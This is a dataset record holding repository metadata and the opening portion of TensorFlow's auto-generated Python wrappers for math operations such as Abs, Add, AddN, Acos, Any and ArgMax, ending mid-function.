| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
7d812821878af7cc88604421fa7159c67b3b7ae5
| 443,212
|
py
|
Python
|
venv/lib/python3.8/site-packages/tensorflow/python/ops/gen_math_ops.py
|
JIANG-CX/data_labeling
|
8d2470bbb537dfc09ed2f7027ed8ee7de6447248
|
[
"MIT"
] | 1
|
2021-05-24T10:08:51.000Z
|
2021-05-24T10:08:51.000Z
|
venv/lib/python3.8/site-packages/tensorflow/python/ops/gen_math_ops.py
|
JIANG-CX/data_labeling
|
8d2470bbb537dfc09ed2f7027ed8ee7de6447248
|
[
"MIT"
] | null | null | null |
venv/lib/python3.8/site-packages/tensorflow/python/ops/gen_math_ops.py
|
JIANG-CX/data_labeling
|
8d2470bbb537dfc09ed2f7027ed8ee7de6447248
|
[
"MIT"
] | null | null | null |
"""Python wrappers around TensorFlow ops.
This file is MACHINE GENERATED! Do not edit.
Original C++ source file: math_ops.cc
"""
import collections
from tensorflow.python import pywrap_tfe as pywrap_tfe
from tensorflow.python.eager import context as _context
from tensorflow.python.eager import core as _core
from tensorflow.python.eager import execute as _execute
from tensorflow.python.framework import dtypes as _dtypes
from tensorflow.python.framework import op_def_registry as _op_def_registry
from tensorflow.python.framework import ops as _ops
from tensorflow.python.framework import op_def_library as _op_def_library
from tensorflow.python.util.deprecation import deprecated_endpoints
from tensorflow.python.util import dispatch as _dispatch
from tensorflow.python.util.tf_export import tf_export
from typing import TypeVar
def _abs(x, name=None):
r"""Computes the absolute value of a tensor.
Given a tensor `x`, this operation returns a tensor containing the absolute
value of each element in `x`. For example, if x is an input element and y is
an output element, this operation computes \\(y = |x|\\).
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Abs", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _abs_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Abs", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Abs", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Abs = tf_export("raw_ops.Abs")(_ops.to_raw_op(_abs))
def _abs_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Abs", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Abs", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def accumulate_nv2(inputs, shape, name=None):
r"""Returns the element-wise sum of a list of tensors.
`tf.accumulate_n_v2` performs the same operation as `tf.add_n`, but does not
wait for all of its inputs to be ready before beginning to sum. This can
save memory if inputs are ready at different times, since minimum temporary
storage is proportional to the output size rather than the inputs size.
Unlike the original `accumulate_n`, `accumulate_n_v2` is differentiable.
Returns a `Tensor` of same shape and type as the elements of `inputs`.
Args:
inputs: A list of at least 1 `Tensor` objects with the same type in: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
A list of `Tensor` objects, each with same shape and type.
shape: A `tf.TensorShape` or list of `ints`.
Shape of elements of `inputs`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `inputs`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "AccumulateNV2", name, inputs, "shape", shape)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return accumulate_nv2_eager_fallback(
inputs, shape=shape, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if not isinstance(inputs, (list, tuple)):
raise TypeError(
"Expected list for 'inputs' argument to "
"'accumulate_nv2' Op, not %r." % inputs)
_attr_N = len(inputs)
shape = _execute.make_shape(shape, "shape")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"AccumulateNV2", inputs=inputs, shape=shape, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("N", _op._get_attr_int("N"), "T", _op._get_attr_type("T"),
"shape", _op.get_attr("shape"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"AccumulateNV2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
AccumulateNV2 = tf_export("raw_ops.AccumulateNV2")(_ops.to_raw_op(accumulate_nv2))
def accumulate_nv2_eager_fallback(inputs, shape, name, ctx):
if not isinstance(inputs, (list, tuple)):
raise TypeError(
"Expected list for 'inputs' argument to "
"'accumulate_nv2' Op, not %r." % inputs)
_attr_N = len(inputs)
shape = _execute.make_shape(shape, "shape")
_attr_T, inputs = _execute.args_to_matching_eager(list(inputs), ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_inputs_flat = list(inputs)
_attrs = ("N", _attr_N, "T", _attr_T, "shape", shape)
_result = _execute.execute(b"AccumulateNV2", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"AccumulateNV2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def acos(x, name=None):
r"""Computes acos of x element-wise.
Provided an input tensor, the `tf.math.acos` operation returns the inverse cosine of each element of the tensor. If `y = tf.math.cos(x)` then, `x = tf.math.acos(y)`.
Input range is `[-1, 1]` and the output has a range of `[0, pi]`.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Acos", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return acos_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Acos", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Acos", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Acos = tf_export("raw_ops.Acos")(_ops.to_raw_op(acos))
def acos_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Acos", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Acos", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.acosh', 'acosh')
def acosh(x, name=None):
r"""Computes inverse hyperbolic cosine of x element-wise.
Given an input tensor, the function computes inverse hyperbolic cosine of every element.
Input range is `[1, inf]`. It returns `nan` if the input lies outside the range.
```python
x = tf.constant([-2, -0.5, 1, 1.2, 200, 10000, float("inf")])
tf.math.acosh(x) ==> [nan nan 0. 0.62236255 5.9914584 9.903487 inf]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Acosh", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return acosh_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
acosh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Acosh", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
acosh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Acosh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Acosh = tf_export("raw_ops.Acosh")(_ops.to_raw_op(acosh))
def acosh_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Acosh", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Acosh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.add', 'add')
def add(x, y, name=None):
r"""Returns x + y element-wise.
Example usages below.
Add a scalar and a list:
>>> x = [1, 2, 3, 4, 5]
>>> y = 1
>>> tf.add(x, y)
<tf.Tensor: shape=(5,), dtype=int32, numpy=array([2, 3, 4, 5, 6], dtype=int32)>
Note that binary `+` operator can be used instead:
>>> x = tf.convert_to_tensor([1, 2, 3, 4, 5])
>>> y = tf.convert_to_tensor(1)
>>> x + y
<tf.Tensor: shape=(5,), dtype=int32, numpy=array([2, 3, 4, 5, 6], dtype=int32)>
Add a tensor and a list of same shape:
>>> x = [1, 2, 3, 4, 5]
>>> y = tf.constant([1, 2, 3, 4, 5])
>>> tf.add(x, y)
<tf.Tensor: shape=(5,), dtype=int32,
numpy=array([ 2, 4, 6, 8, 10], dtype=int32)>
**Warning**: If one of the inputs (`x` or `y`) is a tensor and the other is a
non-tensor, the non-tensor input will adopt (or get casted to) the data type of
the tensor input. This can potentially cause unwanted overflow or underflow
conversion.
For example,
>>> x = [2**7 + 1, 2**7 + 2]
>>> y = tf.constant([1, 2], dtype=tf.int8)
>>> tf.add(x, y)
<tf.Tensor: shape=(2,), dtype=int8, numpy=array([-126, -124], dtype=int8)>
When adding two input values of different shapes, `math.add` follows the [general
broadcasting rules](https://numpy.org/doc/stable/user/basics.broadcasting.html#general-broadcasting-rules)
. The two input array shapes are compared element-wise. Starting with the
trailing dimensions, the two dimensions either have to be equal or one of them
needs to be `1`.
For example,
>>> x = np.ones(6).reshape(1, 2, 1, 3)
>>> y = np.ones(6).reshape(2, 1, 3, 1)
>>> tf.add(x, y).shape.as_list()
[2, 2, 3, 3]
Another example with two arrays of different dimension.
>>> x = np.ones([1, 2, 1, 4])
>>> y = np.ones([3, 4])
>>> tf.add(x, y).shape.as_list()
[1, 2, 3, 4]
The reduction version of this elementwise operation is `tf.math.reduce_sum`
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `uint8`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`, `string`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Add", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return add_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
add, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Add", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
add, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Add", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Add = tf_export("raw_ops.Add")(_ops.to_raw_op(add))
def add_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.uint8, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, _dtypes.string, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Add", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Add", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def add_n(inputs, name=None):
r"""Add all input tensors element wise.
Inputs must be of same size and shape.
```python
x = [9, 7, 10]
tf.math.add_n(x) ==> 26
```
Args:
inputs: A list of at least 1 `Tensor` objects with the same type in: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`, `variant`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `inputs`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "AddN", name, inputs)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return add_n_eager_fallback(
inputs, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if not isinstance(inputs, (list, tuple)):
raise TypeError(
"Expected list for 'inputs' argument to "
"'add_n' Op, not %r." % inputs)
_attr_N = len(inputs)
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"AddN", inputs=inputs, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("N", _op._get_attr_int("N"), "T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"AddN", _inputs_flat, _attrs, _result)
_result, = _result
return _result
AddN = tf_export("raw_ops.AddN")(_ops.to_raw_op(add_n))
def add_n_eager_fallback(inputs, name, ctx):
if not isinstance(inputs, (list, tuple)):
raise TypeError(
"Expected list for 'inputs' argument to "
"'add_n' Op, not %r." % inputs)
_attr_N = len(inputs)
_attr_T, inputs = _execute.args_to_matching_eager(list(inputs), ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, _dtypes.variant, ])
_inputs_flat = list(inputs)
_attrs = ("N", _attr_N, "T", _attr_T)
_result = _execute.execute(b"AddN", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"AddN", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def add_v2(x, y, name=None):
r"""Returns x + y element-wise.
*NOTE*: `Add` supports broadcasting. `AddN` does not. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `uint8`, `uint16`, `uint32`, `uint64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "AddV2", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return add_v2_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"AddV2", x=x, y=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"AddV2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
AddV2 = tf_export("raw_ops.AddV2")(_ops.to_raw_op(add_v2))
def add_v2_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.uint8, _dtypes.uint16, _dtypes.uint32, _dtypes.uint64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"AddV2", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"AddV2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _all(input, axis, keep_dims=False, name=None):
r"""Computes the "logical and" of elements across dimensions of a tensor.
Reduces `input` along the dimensions given in `axis`. Unless
`keep_dims` is true, the rank of the tensor is reduced by 1 for each entry in
`axis`. If `keep_dims` is true, the reduced dimensions are
retained with length 1.
Args:
input: A `Tensor` of type `bool`. The tensor to reduce.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
The dimensions to reduce. Must be in the range
`[-rank(input), rank(input))`.
keep_dims: An optional `bool`. Defaults to `False`.
If true, retain reduced dimensions with length 1.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "All", name, input, axis, "keep_dims", keep_dims)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _all_eager_fallback(
input, axis, keep_dims=keep_dims, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"All", input=input, reduction_indices=axis, keep_dims=keep_dims,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("keep_dims", _op._get_attr_bool("keep_dims"), "Tidx",
_op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"All", _inputs_flat, _attrs, _result)
_result, = _result
return _result
All = tf_export("raw_ops.All")(_ops.to_raw_op(_all))
def _all_eager_fallback(input, axis, keep_dims, name, ctx):
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
input = _ops.convert_to_tensor(input, _dtypes.bool)
_inputs_flat = [input, axis]
_attrs = ("keep_dims", keep_dims, "Tidx", _attr_Tidx)
_result = _execute.execute(b"All", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"All", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def angle(input, Tout=_dtypes.float32, name=None):
r"""Returns the argument of a complex number.
Given a tensor `input` of complex numbers, this operation returns a tensor of
type `float` that is the argument of each element in `input`. All elements in
`input` must be complex numbers of the form \\(a + bj\\), where *a*
is the real part and *b* is the imaginary part.
The argument returned by this operation is of the form \\(atan2(b, a)\\).
For example:
```
# tensor 'input' is [-2.25 + 4.75j, 3.25 + 5.75j]
tf.angle(input) ==> [2.0132, 1.056]
```
@compatibility(numpy)
Equivalent to np.angle.
@end_compatibility
Args:
input: A `Tensor`. Must be one of the following types: `complex64`, `complex128`.
Tout: An optional `tf.DType` from: `tf.float32, tf.float64`. Defaults to `tf.float32`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `Tout`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Angle", name, input, "Tout", Tout)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return angle_eager_fallback(
input, Tout=Tout, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if Tout is None:
Tout = _dtypes.float32
Tout = _execute.make_type(Tout, "Tout")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Angle", input=input, Tout=Tout, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tout",
_op._get_attr_type("Tout"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Angle", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Angle = tf_export("raw_ops.Angle")(_ops.to_raw_op(angle))
def angle_eager_fallback(input, Tout, name, ctx):
if Tout is None:
Tout = _dtypes.float32
Tout = _execute.make_type(Tout, "Tout")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.complex64, _dtypes.complex128, ], _dtypes.complex64)
_inputs_flat = [input]
_attrs = ("T", _attr_T, "Tout", Tout)
_result = _execute.execute(b"Angle", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Angle", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _any(input, axis, keep_dims=False, name=None):
r"""Computes the "logical or" of elements across dimensions of a tensor.
Reduces `input` along the dimensions given in `axis`. Unless
`keep_dims` is true, the rank of the tensor is reduced by 1 for each entry in
`axis`. If `keep_dims` is true, the reduced dimensions are
retained with length 1.
Args:
input: A `Tensor` of type `bool`. The tensor to reduce.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
The dimensions to reduce. Must be in the range
`[-rank(input), rank(input))`.
keep_dims: An optional `bool`. Defaults to `False`.
If true, retain reduced dimensions with length 1.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Any", name, input, axis, "keep_dims", keep_dims)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _any_eager_fallback(
input, axis, keep_dims=keep_dims, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Any", input=input, reduction_indices=axis, keep_dims=keep_dims,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("keep_dims", _op._get_attr_bool("keep_dims"), "Tidx",
_op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Any", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Any = tf_export("raw_ops.Any")(_ops.to_raw_op(_any))
def _any_eager_fallback(input, axis, keep_dims, name, ctx):
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
input = _ops.convert_to_tensor(input, _dtypes.bool)
_inputs_flat = [input, axis]
_attrs = ("keep_dims", keep_dims, "Tidx", _attr_Tidx)
_result = _execute.execute(b"Any", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Any", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def approximate_equal(x, y, tolerance=1e-05, name=None):
r"""Returns the truth value of abs(x-y) < tolerance element-wise.
Args:
x: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
y: A `Tensor`. Must have the same type as `x`.
tolerance: An optional `float`. Defaults to `1e-05`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "ApproximateEqual", name, x, y, "tolerance", tolerance)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return approximate_equal_eager_fallback(
x, y, tolerance=tolerance, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if tolerance is None:
tolerance = 1e-05
tolerance = _execute.make_float(tolerance, "tolerance")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"ApproximateEqual", x=x, y=y, tolerance=tolerance, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "tolerance",
_op.get_attr("tolerance"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"ApproximateEqual", _inputs_flat, _attrs, _result)
_result, = _result
return _result
ApproximateEqual = tf_export("raw_ops.ApproximateEqual")(_ops.to_raw_op(approximate_equal))
def approximate_equal_eager_fallback(x, y, tolerance, name, ctx):
if tolerance is None:
tolerance = 1e-05
tolerance = _execute.make_float(tolerance, "tolerance")
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T, "tolerance", tolerance)
_result = _execute.execute(b"ApproximateEqual", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"ApproximateEqual", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def arg_max(input, dimension, output_type=_dtypes.int64, name=None):
r"""Returns the index with the largest value across dimensions of a tensor.
Note that in case of ties the identity of the return value is not guaranteed.
Usage:
```python
import tensorflow as tf
a = [1, 10, 26.9, 2.8, 166.32, 62.3]
b = tf.math.argmax(input = a)
c = tf.keras.backend.eval(b)
# c = 4
# here a[4] = 166.32 which is the largest element of a across axis 0
```
Args:
input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`, `bool`.
dimension: A `Tensor`. Must be one of the following types: `int32`, `int64`.
int32 or int64, must be in the range `[-rank(input), rank(input))`.
Describes which dimension of the input Tensor to reduce across. For vectors,
use dimension = 0.
output_type: An optional `tf.DType` from: `tf.int32, tf.int64`. Defaults to `tf.int64`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `output_type`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "ArgMax", name, input, dimension, "output_type", output_type)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
